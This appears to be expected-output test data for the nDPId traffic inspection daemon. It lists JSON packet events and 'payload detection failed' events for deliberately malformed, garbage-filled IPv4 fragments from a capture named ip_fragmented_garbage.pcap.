+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908265,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908272,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908280,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908287,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908295,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908303,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908316,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908331,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908343,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908351,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908359,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908371,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908383,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8547,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908396,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8547,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8548,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908408,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8548,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8549,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908422,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8549,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8550,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908434,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8550,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8551,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908446,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8551,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8552,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908460,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8552,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8553,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908474,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8553,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8554,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908486,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8554,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8555,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908498,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8555,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8556,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908516,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8556,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8557,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908530,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8557,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8558,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908542,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8558,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8559,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908555,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8559,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8560,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908567,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8560,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8561,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908579,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8561,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8562,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908597,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8562,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8563,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908612,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8563,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908626,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908641,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908653,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908667,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908683,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908695,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908708,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908721,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908736,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8573,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908749,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8573,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8574,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908761,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8574,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8575,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":908773,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8575,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 